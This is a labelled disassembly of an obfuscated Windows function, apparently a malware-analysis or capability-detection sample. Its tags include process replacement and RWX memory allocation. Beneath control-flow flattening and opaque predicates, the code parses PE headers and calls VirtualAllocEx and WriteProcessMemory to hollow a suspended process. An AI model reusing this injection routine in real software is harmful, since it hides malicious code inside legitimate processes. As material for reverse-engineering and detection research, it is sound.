Function at 0x1000bfc0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x1b4
mov eax, dword [0x1008b080]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x1bc], 0xb7ef99a8
mov eax, dword [ebp - 0x1bc]
mov dword [ebp - 0x1c0], eax
sub eax, 0x804a1f92
je 0x1000f6f7
jmp 0x1000bffc
mov eax, dword [ebp - 0x1c0]
sub eax, 0x80a1dea7
je 0x100106cf
jmp 0x1000c012
mov eax, dword [ebp - 0x1c0]
sub eax, 0x8198813d
je 0x1000f699
jmp 0x1000c028
mov eax, dword [ebp - 0x1c0]
sub eax, 0x819a4b0e
je 0x100122af
jmp 0x1000c03e
mov eax, dword [ebp - 0x1c0]
sub eax, 0x81b4fe59
je 0x1000f9c0
jmp 0x1000c054
mov eax, dword [ebp - 0x1c0]
sub eax, 0x83359b8f
je 0x1001208f
jmp 0x1000c06a
mov eax, dword [ebp - 0x1c0]
sub eax, 0x836aea9e
je 0x10010df2
jmp 0x1000c080
mov eax, dword [ebp - 0x1c0]
sub eax, 0x84243a97
je 0x1001185e
jmp 0x1000c096
mov eax, dword [ebp - 0x1c0]
sub eax, 0x84c188cc
je 0x1001046a
jmp 0x1000c0ac
mov eax, dword [ebp - 0x1c0]
sub eax, 0x850412bd
je 0x1001177d
jmp 0x1000c0c2
mov eax, dword [ebp - 0x1c0]
sub eax, 0x865c15f4
je 0x1000ffe6
jmp 0x1000c0d8
mov eax, dword [ebp - 0x1c0]
sub eax, 0x87258447
je 0x1000eb32
jmp 0x1000c0ee
mov eax, dword [ebp - 0x1c0]
sub eax, 0x8792d1f2
je 0x100130bd
jmp 0x1000c104
mov eax, dword [ebp - 0x1c0]
sub eax, 0x8a197a75
je 0x1000f079
jmp 0x1000c11a
mov eax, dword [ebp - 0x1c0]
sub eax, 0x8ae41b41
je 0x100133bb
jmp 0x1000c130
mov eax, dword [ebp - 0x1c0]
sub eax, 0x8b8d76cf
je 0x1000f088
jmp 0x1000c146
mov eax, dword [ebp - 0x1c0]
sub eax, 0x8d12af5a
je 0x1000e8a2
jmp 0x1000c15c
mov eax, dword [ebp - 0x1c0]
sub eax, 0x8e97652f
je 0x100124b5
jmp 0x1000c172
mov eax, dword [ebp - 0x1c0]
sub eax, 0x9000e0d2
je 0x10011e6d
jmp 0x1000c188
mov eax, dword [ebp - 0x1c0]
sub eax, 0x91a5db13
je 0x10012623
jmp 0x1000c19e
mov eax, dword [ebp - 0x1c0]
sub eax, 0x9204897a
je 0x10012d9e
jmp 0x1000c1b4
mov eax, dword [ebp - 0x1c0]
sub eax, 0x925f293a
je 0x1000f764
jmp 0x1000c1ca
mov eax, dword [ebp - 0x1c0]
sub eax, 0x92d28eda
je 0x1000e902
jmp 0x1000c1e0
mov eax, dword [ebp - 0x1c0]
sub eax, 0x94d997f9
je 0x1000fa18
jmp 0x1000c1f6
mov eax, dword [ebp - 0x1c0]
sub eax, 0x95941305
je 0x1000f77f
jmp 0x1000c20c
mov eax, dword [ebp - 0x1c0]
sub eax, 0x95baa787
je 0x10010cb2
jmp 0x1000c222
mov eax, dword [ebp - 0x1c0]
sub eax, 0x967a80b0
je 0x1000eef9
jmp 0x1000c238
mov eax, dword [ebp - 0x1c0]
sub eax, 0x97996261
je 0x10010761
jmp 0x1000c24e
mov eax, dword [ebp - 0x1c0]
sub eax, 0x98b82fce
je 0x1000e97f
jmp 0x1000c264
mov eax, dword [ebp - 0x1c0]
sub eax, 0x98e3f6d8
je 0x100105bb
jmp 0x1000c27a
mov eax, dword [ebp - 0x1c0]
sub eax, 0x9ab17bd0
je 0x1001012a
jmp 0x1000c290
mov eax, dword [ebp - 0x1c0]
sub eax, 0x9b46abf2
je 0x100107f8
jmp 0x1000c2a6
mov eax, dword [ebp - 0x1c0]
sub eax, 0x9ca1e35a
je 0x100109a2
jmp 0x1000c2bc
mov eax, dword [ebp - 0x1c0]
sub eax, 0x9e683012
je 0x1000edcf
jmp 0x1000c2d2
mov eax, dword [ebp - 0x1c0]
sub eax, 0x9f017016
je 0x10012fdc
jmp 0x1000c2e8
mov eax, dword [ebp - 0x1c0]
sub eax, 0x9f4789d9
je 0x1000f58d
jmp 0x1000c2fe
mov eax, dword [ebp - 0x1c0]
sub eax, 0xa07dd880
je 0x10010139
jmp 0x1000c314
mov eax, dword [ebp - 0x1c0]
sub eax, 0xa0a73d9f
je 0x10010ddc
jmp 0x1000c32a
mov eax, dword [ebp - 0x1c0]
sub eax, 0xa1506e91
je 0x1001059a
jmp 0x1000c340
mov eax, dword [ebp - 0x1c0]
sub eax, 0xa15b6a8b
je 0x1000f6a8
jmp 0x1000c356
mov eax, dword [ebp - 0x1c0]
sub eax, 0xa1e13fd9
je 0x10012259
jmp 0x1000c36c
mov eax, dword [ebp - 0x1c0]
sub eax, 0xa2878a5a
je 0x1000f253
jmp 0x1000c382
mov eax, dword [ebp - 0x1c0]
sub eax, 0xa46ff623
je 0x100119a2
jmp 0x1000c398
mov eax, dword [ebp - 0x1c0]
sub eax, 0xa4ec439e
je 0x1001219a
jmp 0x1000c3ae
mov eax, dword [ebp - 0x1c0]
sub eax, 0xa503ea1a
je 0x1000ec4a
jmp 0x1000c3c4
mov eax, dword [ebp - 0x1c0]
sub eax, 0xa5e866f1
je 0x100111fa
jmp 0x1000c3da
mov eax, dword [ebp - 0x1c0]
sub eax, 0xa709cf22
je 0x10011697
jmp 0x1000c3f0
mov eax, dword [ebp - 0x1c0]
sub eax, 0xa74d72b5
je 0x10012e9b
jmp 0x1000c406
mov eax, dword [ebp - 0x1c0]
sub eax, 0xa815d6e0
je 0x10011ab7
jmp 0x1000c41c
mov eax, dword [ebp - 0x1c0]
sub eax, 0xa85fe6db
je 0x1001193f
jmp 0x1000c432
mov eax, dword [ebp - 0x1c0]
sub eax, 0xa8c39d04
je 0x100130f9
jmp 0x1000c448
mov eax, dword [ebp - 0x1c0]
sub eax, 0xa8e53cad
je 0x10012c7d
jmp 0x1000c45e
mov eax, dword [ebp - 0x1c0]
sub eax, 0xaa085c61
je 0x10011fb0
jmp 0x1000c474
mov eax, dword [ebp - 0x1c0]
sub eax, 0xac0bc844
je 0x1000eb41
jmp 0x1000c48a
mov eax, dword [ebp - 0x1c0]
sub eax, 0xad2eb7c4
je 0x1000fe3b
jmp 0x1000c4a0
mov eax, dword [ebp - 0x1c0]
sub eax, 0xadb51ef4
je 0x10010820
jmp 0x1000c4b6
mov eax, dword [ebp - 0x1c0]
sub eax, 0xae1f56bd
je 0x10011577
jmp 0x1000c4cc
mov eax, dword [ebp - 0x1c0]
sub eax, 0xae2d5016
je 0x10010bf3
jmp 0x1000c4e2
mov eax, dword [ebp - 0x1c0]
sub eax, 0xae6ca9d7
je 0x1000e2ac
jmp 0x1000c4f8
mov eax, dword [ebp - 0x1c0]
sub eax, 0xb046389f
je 0x1000eaba
jmp 0x1000c50e
mov eax, dword [ebp - 0x1c0]
sub eax, 0xb0c65104
je 0x1000e2f1
jmp 0x1000c524
mov eax, dword [ebp - 0x1c0]
sub eax, 0xb0ea2767
je 0x1000f4dc
jmp 0x1000c53a
mov eax, dword [ebp - 0x1c0]
sub eax, 0xb14a83dd
je 0x1000f14e
jmp 0x1000c550
mov eax, dword [ebp - 0x1c0]
sub eax, 0xb16527a1
je 0x10010956
jmp 0x1000c566
mov eax, dword [ebp - 0x1c0]
sub eax, 0xb1955317
je 0x1000f44a
cmp dword [ebp - 0x144], 0xefb8ebc
setle al
and al, 1
mov byte [ebp - 0x10f], al
mov dword [ebp - 0x1bc], 0x504b83bb
jmp 0x100134ef
mov eax, dword [ebp - 0x144]
sub eax, 0x11070136
add eax, 1
add eax, 0x11070136
mov dword [ebp - 0x144], eax
mov dword [ebp - 0x1bc], 0x78184fbd
jmp 0x100134ef
mov eax, dword [0x1008c54c]
mov ecx, dword [0x1008c548]
mov edx, eax
sub edx, 0x9b02c4e7
sub edx, 1
add edx, 0x9b02c4e7
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x76e60fcd
mov ecx, 0x3a070773
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1bc], eax
jmp 0x100134ef
mov dword [ebp - 0x1bc], 0xf2e51838
jmp 0x100134ef
mov dword [ebp - 0x14c], 0xefb8f01
cmp dword [ebp - 0x14c], 0xefb8edc
setg al
and al, 1
mov byte [ebp - 0x10e], al
mov ecx, dword [0x1008c54c]
mov eax, dword [0x1008c548]
mov edx, ecx
add edx, 0x866ee866
sub edx, 1
sub edx, 0x866ee866
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x2cc78d8e
mov ecx, 0xc29470b8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1bc], eax
jmp 0x100134ef
mov dword [ebp - 0x14c], 0xefb8edf
mov ecx, dword [0x1008c54c]
mov eax, dword [0x1008c548]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xcd89061a
mov ecx, 0x87258447
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1bc], eax
jmp 0x100134ef
mov dword [ebp - 0x1bc], 0xac0bc844
jmp 0x100134ef
mov dword [ebp - 0x1bc], 0xcd814c4
jmp 0x100134ef
mov eax, dword [ebp - 0x10c]
sub eax, 0x39362b9e
add eax, 1
add eax, 0x39362b9e
mov dword [ebp - 0x14c], eax
mov dword [ebp - 0x1bc], 0x5c9257c2
jmp 0x100134ef
mov ecx, dword [0x1008c54c]
mov eax, dword [0x1008c548]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xb1c1754a
mov ecx, 0x1d741973
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1bc], eax
jmp 0x100134ef
mov byte [ebp - 0x14d], 1
mov eax, dword [0x1008c54c]
mov ecx, dword [0x1008c548]
mov edx, eax
sub edx, 0xd64d736a
sub edx, 1
add edx, 0xd64d736a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6f8c8fd6
mov ecx, 0x3e1d758a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1bc], eax
jmp 0x100134ef
mov dword [ebp - 0x1bc], 0x3a7df5e9
jmp 0x100134ef
mov eax, dword [0x1008c54c]
mov ecx, dword [0x1008c548]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf33fe882
mov ecx, 0xfd1ad936
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1bc], eax
jmp 0x100134ef
mov dword [ebp - 0x1bc], 0xb55c8bf9
jmp 0x100134ef
mov eax, dword [0x1008c54c]
mov ecx, dword [0x1008c548]
mov edx, eax
sub edx, 0x47837cde
sub edx, 1
add edx, 0x47837cde
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x59126f15
mov ecx, 0x63ef943e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1bc], eax
jmp 0x100134ef
mov eax, dword [ebp - 0x154]
sub eax, 0xc3cfb869
add eax, 1
add eax, 0xc3cfb869
mov dword [ebp - 0x100], eax
mov ecx, dword [0x1008c54c]
mov eax, dword [0x1008c548]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x30506b9
mov ecx, 0xe973c249
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1bc], eax
jmp 0x100134ef
mov dword [ebp - 0x154], 1
mov dword [ebp - 0x1bc], 0x30afb9e1
jmp 0x100134ef
mov dword [ebp - 0x1bc], 0xa15b6a8b
jmp 0x100134ef
mov dword [ebp - 0x158], 0xefb8f19
cmp dword [ebp - 0x158], 0xefb8ef0
setg al
and al, 1
mov byte [ebp - 0xfa], al
mov dword [ebp - 0x1bc], 0xe4f2cad
jmp 0x100134ef
mov dword [ebp - 0x158], 0xefb8ec4
mov dword [ebp - 0x1bc], 0x49047061
jmp 0x100134ef
mov eax, dword [ebp - 0x158]
mov dword [ebp - 0xf8], eax
mov dword [ebp - 0x1bc], 0x95941305
jmp 0x100134ef
mov eax, dword [ebp - 0xf8]
xor ecx, ecx
sub ecx, 1
sub eax, ecx
mov dword [ebp - 0x158], eax
mov dword [ebp - 0x1bc], 0xf931eeca
jmp 0x100134ef
mov byte [ebp - 0x159], 0
mov dword [ebp - 0x1bc], 0xbb3bf0ca
jmp 0x100134ef
mov byte [ebp - 0x159], 1
mov dword [ebp - 0x1bc], 0x3f0177d
jmp 0x100134ef
mov eax, dword [0x1008c54c]
mov ecx, dword [0x1008c548]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf4c8d302
mov ecx, 0xc1ab1e56
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1bc], eax
jmp 0x100134ef
mov dl, byte [ebp - 0xe9]
mov eax, 0x3e8fc6a1
mov ecx, 0x7f7f52ee
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1bc], eax
jmp 0x100134ef
mov dword [ebp - 0x1bc], 0x58453f0a
jmp 0x100134ef
mov dword [ebp - 0x160], 1
mov dword [ebp - 0x1bc], 0xf3d5daad
jmp 0x100134ef
mov dword [ebp - 0x1bc], 0x4066f1c9
jmp 0x100134ef
mov dl, byte [ebp - 0xe2]
mov eax, 0x80a1dea7
mov ecx, 0x98e3f6d8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1bc], eax
jmp 0x100134ef
mov dword [ebp - 0x168], 0xefb8eda
mov dword [ebp - 0x1bc], 0x1a382194
jmp 0x100134ef
cmp dword [ebp - 0x168], 0xefb8f16
setle al
and al, 1
mov byte [ebp - 0xe1], al
mov dword [ebp - 0x1bc], 0xd6ca06c1
jmp 0x100134ef
mov ecx, dword [0x1008c54c]
mov eax, dword [0x1008c548]
mov edx, ecx
sub edx, 0x27eded02
sub edx, 1
add edx, 0x27eded02
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc0da41ef
mov ecx, 0x37699514
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1bc], eax
jmp 0x100134ef
mov eax, dword [ebp - 0x168]
add eax, 0x4b7ecca9
add eax, 1
sub eax, 0x4b7ecca9
mov dword [ebp - 0xe0], eax
mov dword [ebp - 0x1bc], 0xadb51ef4
jmp 0x100134ef
mov eax, dword [ebp - 0xe0]
mov dword [ebp - 0x168], eax
mov dword [ebp - 0x1bc], 0x30497aaf
jmp 0x100134ef
mov edx, dword [ebp - 0xdc]
mov eax, 0x9ca1e35a
mov ecx, 0x2e2b0142
cmp edx, 0xefb8ef0
cmovg eax, ecx
mov dword [ebp - 0x1bc], eax
jmp 0x100134ef
mov eax, dword [0x1008c54c]
mov ecx, dword [0x1008c548]
mov edx, eax
sub edx, 0x10a3df71
sub edx, 1
add edx, 0x10a3df71
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5f1ba9cd
mov ecx, 0x655783b9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1bc], eax
jmp 0x100134ef
mov ecx, dword [0x1008c54c]
mov eax, dword [0x1008c548]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x3c988d50
mov ecx, 0x44bb216c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1bc], eax
jmp 0x100134ef
mov dl, byte [ebp - 0xd1]
mov eax, 0x267a009
mov ecx, 0xa0a73d9f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1bc], eax
jmp 0x100134ef
mov byte [ebp - 0x16d], 1
mov dword [ebp - 0x1bc], 0x836aea9e
jmp 0x100134ef
mov dl, 1
mov eax, 0xef421f99
mov ecx, 0xd55be99
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1bc], eax
jmp 0x100134ef
mov eax, dword [ebp - 0x178]
mov ecx, dword [ebp - 0x17c]
mov edx, dword [ecx + 0x3c]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x180], eax
mov eax, dword [ebp - 0x180]
mov eax, dword [eax]
mov dword [ebp - 0xc8], eax
mov eax, dword [0x1008c54c]
mov ecx, dword [0x1008c548]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2c3bba4d
mov ecx, 0xeb189af4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1bc], eax
jmp 0x100134ef
mov ecx, dword [0x1008c54c]
mov eax, dword [0x1008c548]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xfbe01eca
mov ecx, 0xc1f45485
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1bc], eax
jmp 0x100134ef
mov eax, dword [0x1008c54c]
mov ecx, dword [0x1008c548]
mov edx, eax
add edx, 0x772c6bb7
sub edx, 1
sub edx, 0x772c6bb7
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x75ca21bd
mov ecx, 0xc858fcc4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1bc], eax
jmp 0x100134ef
mov dl, byte [ebp - 0xb9]
mov eax, 0xa8e53cad
mov ecx, 0x5e811499
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1bc], eax
jmp 0x100134ef
mov eax, dword [ebp - 0xb8]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x180]
mov ecx, dword [ecx + 0x34]
mov edx, dword [ebp - 0x20]
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 0
sete al
and al, 1
mov byte [ebp - 0xb1], al
mov ecx, dword [0x1008c54c]
mov eax, dword [0x1008c548]
mov edx, ecx
add edx, 0xa0c3b7b2
sub edx, 1
sub edx, 0xa0c3b7b2
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xcb9e155e
mov ecx, 0x5ccff890
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1bc], eax
jmp 0x100134ef
mov eax, dword [ebp - 0x180]
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0x1bc], 0x726b57fd
jmp 0x100134ef
mov eax, dword [ebp - 0x180]
mov eax, dword [eax + 0x54]
mov ecx, dword [ebp - 0x178]
mov edx, dword [ebp - 0x68]
mov esi, dword [ebp - 0x20]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [ebp - 0x178]
mov eax, dword [ebp - 0x17c]
add ecx, dword [eax + 0x3c]
add ecx, 4
add ecx, 0x14
mov eax, dword [ebp - 0x180]
movzx eax, word [eax + 0x14]
add ecx, eax
mov eax, dword [ebp - 0x140]
mov dword [eax], ecx
mov eax, dword [ebp - 0x180]
sub eax, 0xad6a0d66
add eax, 0x18
add eax, 0xad6a0d66
mov ecx, dword [ebp - 0x180]
movzx ecx, word [ecx + 0x14]
add eax, 0xaa337a8c
add eax, ecx
sub eax, 0xaa337a8c
mov dword [ebp - 0xac], eax
mov dword [ebp - 0x1bc], 0x5b9131da
jmp 0x100134ef
mov dl, byte [ebp - 0xa7]
mov eax, 0xcc77198c
mov ecx, 0x7eef527b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1bc], eax
jmp 0x100134ef
mov dword [ebp - 0x1bc], 0xc14de1c8
jmp 0x100134ef
mov ecx, dword [0x1008c54c]
mov eax, dword [0x1008c548]
mov edx, ecx
add edx, 0x867a831c
sub edx, 1
sub edx, 0x867a831c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x8ae41b41
mov ecx, 0xd63016f0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1bc], eax
jmp 0x100134ef
mov dword [ebp - 0x1bc], 0xec6b5345
jmp 0x100134ef
mov ecx, dword [0x1008c54c]
mov eax, dword [0x1008c548]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xcd1462be
mov ecx, 0x66b74193
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1bc], eax
jmp 0x100134ef
mov dword [ebp - 0x1bc], 0xa041405
jmp 0x100134ef
mov eax, dword [ebp - 0x138]
mov ecx, dword [eax]
add ecx, 0x4f9c9443
add ecx, 8
sub ecx, 0x4f9c9443
mov eax, dword [ebp - 0x128]
mov dword [eax], ecx
mov eax, dword [ebp - 0x138]
mov eax, dword [eax]
mov ecx, dword [eax + 4]
sub ecx, 0xee69020c
sub ecx, 8
add ecx, 0xee69020c
shr ecx, 1
mov eax, dword [ebp - 0x124]
mov dword [eax], ecx
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x90], eax
mov eax, dword [ebp - 0x180]
add eax, 0x18
add eax, 0x1c
mov dword [ebp - 0x8c], eax
mov dword [ebp - 0x1bc], 0x7d96a0a5
jmp 0x100134ef
mov ax, word [ebp - 0x86]
movzx edx, ax
xor edx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xf000
mov eax, 0xffffffff
xor eax, 0xb35ba6d2
or edx, ecx
or eax, 0xb35ba6d2
xor edx, 0xffffffff
and edx, eax
mov eax, 0x65c90261
mov ecx, 0xe8744d11
cmp edx, 3
cmove eax, ecx
mov dword [ebp - 0x1bc], eax
jmp 0x100134ef
mov dword [ebp - 0x1bc], 0x7b36831b
jmp 0x100134ef
mov dword [ebp - 0x1bc], 0xe4209db7
jmp 0x100134ef
mov ecx, dword [0x1008c54c]
mov eax, dword [0x1008c548]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x79b828a0
mov ecx, 0xbb7f949b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1bc], eax
jmp 0x100134ef
mov byte [ebp - 0x145], 1
mov dword [ebp - 0x1bc], 0x7379dbb2
jmp 0x100134ef
mov dword [ebp - 0x1bc], 0x41ddc8a7
jmp 0x100134ef
mov dword [ebp - 0x1bc], 0xd5522f21
jmp 0x100134ef
mov dword [ebp - 0x16c], 1
mov dword [ebp - 0x1bc], 0x418e4835
jmp 0x100134ef
mov dword [ebp - 0x1bc], 0xd63016f0
jmp 0x100134ef
jmp 0x1000bfe0